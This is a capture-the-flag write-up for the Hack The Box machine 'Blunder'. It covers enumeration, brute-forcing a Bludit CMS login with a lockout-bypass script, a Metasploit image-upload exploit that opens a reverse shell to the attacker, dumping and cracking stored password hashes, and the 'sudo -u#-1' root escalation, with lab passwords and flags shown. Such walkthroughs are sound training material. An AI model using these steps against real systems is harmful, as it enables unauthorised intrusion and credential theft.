> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/blunder.md).

# Blunder

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2Fjt3hu38qON5Q5KYfQpVz%2FBlunder.png?alt=media&amp;token=8b0f1947-5ed9-49d8-9f09-42430164f37b" alt="" width="563"><figcaption></figcaption></figure>

## <mark style="color:blue;">Recon</mark>

```bash
ping -c 1 10.10.10.191                            
PING 10.10.10.191 (10.10.10.191) 56(84) bytes of data.
64 bytes from 10.10.10.191: icmp_seq=1 ttl=63 time=61.6 ms

--- 10.10.10.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 61.567/61.567/61.567/0.000 ms
```

Okay everything is fine, lets scan our target.

```bash
sudo nmap 10.10.10.191 -p- -T5 -sC -sV -oN blunder
```

```bash
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 212.61 seconds
```

Only 2 ports and only one is open.

## <mark style="color:green;">HTTP</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2Fg5hP6LqQ2br2t6Tb3QeH%2FPasted%20image%2020240302213732.png?alt=media&amp;token=3d96f3d5-0e24-459f-9232-205c73ec0f5b" alt=""><figcaption></figcaption></figure>

Hmm looks like normal blog page.

But it is not familiar CMS.

Lets fuzz it.

```bash
ffuf -u http://10.10.10.191/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.191/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 220ms]
about                   [Status: 200, Size: 3281, Words: 225, Lines: 106, Duration: 312ms]
```

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FMOvsQPOhEo1nDFkEhico%2FPasted%20image%2020240302213721.png?alt=media&amp;token=ae7aea93-099a-4b1a-8e7a-16323d9948b0" alt=""><figcaption></figcaption></figure>

So this is admin page.

There is <mark style="color:purple;">"Bludit"</mark> text.

If we google it, we will find that this is CMS.

```bash
searchsploit Bludit                               
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Bludit  3.9.2 - Authentication Bruteforce Mitigation Bypass                                                                                                                                                 | php/webapps/48746.rb
Bludit - Directory Traversal Image File Upload (Metasploit)                                                                                                                                                 | php/remote/47699.rb
Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated)                                                                                                                           | php/webapps/51160.txt
Bludit 3.13.1 - 'username' Cross Site Scripting (XSS)                                                                                                                                                       | php/webapps/50529.txt
Bludit 3.9.12 - Directory Traversal                                                                                                                                                                         | php/webapps/48568.py
Bludit 3.9.2 - Auth Bruteforce Bypass                                                                                                                                                                       | php/webapps/48942.py
Bludit 3.9.2 - Authentication Bruteforce Bypass (Metasploit)                                                                                                                                                | php/webapps/49037.rb
Bludit 3.9.2 - Directory Traversal                                                                                                                                                                          | multiple/webapps/48701.txt
Bludit 4.0.0-rc-2 - Account takeover                                                                                                                                                                        | php/webapps/51360.txt
Bludit < 3.13.1 Backup Plugin - Arbitrary File Download (Authenticated)                                                                                                                                     | php/webapps/51541.py
Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated)                                                                                                                                      | php/webapps/51476.txt
bludit Pages Editor 3.0.0 - Arbitrary File Upload                                                                                                                                                           | php/webapps/46060.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

There are couple of exploits.

But for <mark style="color:red;">**RCE**</mark> we need to be <mark style="color:yellow;">authenticated</mark>.

Also Bludit have blacklist for brute-force, but there is bypass as we can see.

Lets try to brute-force, but we do not have username, it would be pain to brute-force like this.

So lets do more recon.

```bash
ffuf -u http://10.10.10.191/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt      

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.191/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

install.php             [Status: 200, Size: 30, Words: 5, Lines: 1, Duration: 139ms]
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 352ms]
robots.txt              [Status: 200, Size: 22, Words: 3, Lines: 2, Duration: 354ms]
.html                   [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 214ms]
.php                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 225ms]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 216ms]
.htm                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 242ms]
.htpasswds              [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 258ms]
.gitignore              [Status: 200, Size: 563, Words: 1, Lines: 28, Duration: 334ms]
.htgroup                [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 242ms]
wp-forum.phps           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 338ms]
.htaccess.bak           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 233ms]
.htuser                 [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 199ms]
.htc                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 184ms]
.ht                     [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 186ms]
todo.txt                [Status: 200, Size: 118, Words: 20, Lines: 5, Duration: 224ms]
:: Progress: [17129/17129] :: Job [1/1] :: 100 req/sec :: Duration: [0:03:15] :: Errors: 0 ::
```

And yeah there is <mark style="color:orange;">"todo.txt".</mark>

```bash
curl http://10.10.10.191/todo.txt                                                                   
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
```

There is a hint that we have <mark style="color:blue;">"fergus"</mark> user. So we can try to brute-force it.

## <mark style="color:red;">www-data shell</mark>

> Brute-forcing a web applications is very slow and can be harmful for host. So firstly we can do dictionary based attack, or using very short wordlists before doing something bigger like rockyou.txt

I will create a wordlist based on web-page.

```bash
cewl http://10.10.10.191/ > pass.txt
```

And after that we will use a exploit to bypass brute-force attacks.

```bash
ruby bludit.rb -r http://10.10.10.191/admin -u fergus -w pass.txt
[*] Trying password: the
[*] Trying password: Load
[*] Trying password: Plugins
[*] Trying password: and
[*] Trying password: for
[*] Trying password: Include
[*] Trying password: Site
[*] Trying password: Page
[*] Trying password: has
[*] Trying password: About
[*] Trying password: King
[*] Trying password: with
[*] Trying password: USB
[*] Trying password: Begin
[*] Trying password: more
[*] Trying password: End
[*] Trying password: service
[*] Trying password: from
[*] Trying password: Stadia
[*] Trying password: Dynamic
[*] Trying password: tag
[SNIP...]
```

After waiting couple of minutes, we a hit.

```bash
[+] Password found: RolandDeschain
```

Ok now we have a valid password.

I will use <mark style="color:red;">"Metasploit"</mark> to upload an image to get reverse-shell.&#x20;

```bash
msfconsole
```

```bash
msf6 > search exploit blunder
[-] No results from search
msf6 > search exploit bludit 

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/linux/http/bludit_upload_images_exec  2019-09-07       excellent  Yes    Bludit Directory Traversal Image File Upload Vulnerability


Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/bludit_upload_images_exec
```

```bash
msf6 exploit(linux/http/bludit_upload_images_exec) > run

[*] Started reverse TCP handler on 10.10.16.5:443 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading lClbwWnwoh.png...
[*] Uploading .htaccess...
[*] Executing lClbwWnwoh.png...
[*] Sending stage (39927 bytes) to 10.10.10.191
[+] Deleted .htaccess
[*] Meterpreter session 1 opened (10.10.16.5:443 -> 10.10.10.191:56544) at 2024-03-02 21:28:53 +0300
```

Meterpreter shell can be very useful, but I prefer normal netcat reverse-shell, so I will send it.

```bash
rlwrap nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.191] 43224
bash: cannot set terminal process group (1232): Inappropriate ioctl for device
bash: no job control in this shell
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ which python
which python
/usr/bin/python
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ python -c 'import pty;pty.spawn("/bin/bash")'
</tmp$ python -c 'import pty;pty.spawn("/bin/bash")'   
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ 
zsh: suspended  rlwrap nc -lnvp 9001
                                                                                                                                                                                                                                              
musor@kali:~/wu/Blunder$ stty raw -echo | fg                       
[1]  + continued  rlwrap nc -lnvp 9001
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ export TERM=xterm
export TERM=xterm
```

Ok, also upgraded it :)

## <mark style="color:red;">hugo shell</mark>

Also in Google, I saw that Bludit CMS using one php file for hashes.

```bash
www-data@blunder:/var/www/bludit-3.9.2/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""
    },
    "fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
        "email": "",
        "registered": "2019-11-27 13:26:44",
        "tokenRemember": "3b522ffb09362e29eca31ba6bc065499",
        "tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "codepen": "",
        "instagram": "",
        "github": "",
        "gitlab": "",
        "linkedin": "",
        "mastodon": ""
    }
```

Got 2 users.

Also after enumerating a little bit, I saw one more Bludit CSM but another version.

```bash
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ ls
ls
categories.php  plugins       site.php    tags.php
pages.php       security.php  syslog.php  users.php
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cat users.php
cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Hugo",
        "firstName": "Hugo",
        "lastName": "",
        "role": "User",
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
        "email": "",
        "registered": "2019-11-27 07:40:55",
        "tokenRemember": "",
        "tokenAuth": "b380cb62057e9da47afce66b4615107d",
        "tokenAuthTTL": "2009-03-15 14:00",
        "twitter": "",
        "facebook": "",
        "instagram": "",
        "codepen": "",
        "linkedin": "",
        "github": "",
        "gitlab": ""}
}
```

Got one more hash.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F3u5WV0i4e0rgVCV6hb3R%2FPasted%20image%2020240302213655.png?alt=media&amp;token=b661149c-e7b4-4ee7-afa6-67c119af8b4f" alt=""><figcaption></figcaption></figure>

Before cracking it offline on my host, I always checking hashes on [CrackStation](https://crackstation.net/) or [Hashes.com](https://hashes.com/en/decrypt/hash).

And we got a hit. This is password for "Hugo", so lets log in.

```bash
www-data@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ su hugo
su hugo
Password: Password120

hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ cd ~                                                       cd ~
cd ~
hugo@blunder:~$ ls              ls
ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
hugo@blunder:~$ cat user.txt    cat user.txt
cat user.txt
bf727b7cd889f2b3bd92ed12a465f88b
```

Also got a user.flag :)      &#x20;

## <mark style="color:red;">root shell</mark>

```bash
sudo -l
Password: Password120

Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
```

So looks like only root can execute "/bin/bash".*(!root = you cannot execute if you are not root)*

Lets check a sudo version, maybe it is vulnerable.

```bash
sudo --version
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1
```

And yeah it is vulnerable to popular exploit.

If we do something like this, we will get a root shell.

```bash
sudo -u#-1 /bin/bash
root@blunder:/home/hugo# 
```

And yup, we are root!

```bash
root@blunder:/root cat root.txt
eadfc6ba673e9d1af4deb0400d38b9ae
```

root.flag is here.